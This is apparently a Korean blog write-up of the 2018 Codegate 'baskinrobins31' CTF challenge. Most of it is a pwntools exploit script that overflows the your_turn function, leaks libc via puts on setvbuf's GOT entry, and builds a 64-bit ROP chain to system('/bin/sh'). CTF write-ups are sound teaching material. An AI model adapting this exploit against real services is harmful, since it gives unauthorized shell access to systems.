2018 codegate baskinrobins31
your_turn 함수에서 rop가 터진다.
canary도 없고 계속해서 overflow가 터지므로 첫 번째 your_turn에서 libc를 leak하고 그 다음 turn에 system("/bin/sh")를 해주면 편하다.
신경써야 할 것은 64비트 rop라는 것 뿐이다.
from pwn import *
e = ELF('./BaskinRobins31')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
def turn(num):
ru('(1-3)\n')
sl(num)
your_turn = 0x4008A4
pret = 0x400bc3 # pop rdi; ret
pay = '1' + 'A'*175 + 'B'*8
pay += p64(pret)
pay += p64(e.got['setvbuf'])
pay += p64(e.plt['puts']+1)
pay += p64(your_turn)
turn(pay)
ru('\n')
ru('\n')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - l.symbols['setvbuf']
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
binsh = libc_base + 0x18cd57
pay = 'A'*176 + 'B'*8
pay += p64(pret)
pay += p64(binsh)
pay += p64(system)
pay += 'BBBB'
turn(pay)
io()
'system > writeup' 카테고리의 다른 글
2018 codegate super marimo (0) | 2019.01.24 |
---|---|
2018 codegate superftp (0) | 2019.01.23 |
2016 hitcon sleepyholder (0) | 2019.01.22 |
2016 hitcon secretholder (0) | 2019.01.22 |
2017 secuinside ohce (0) | 2019.01.21 |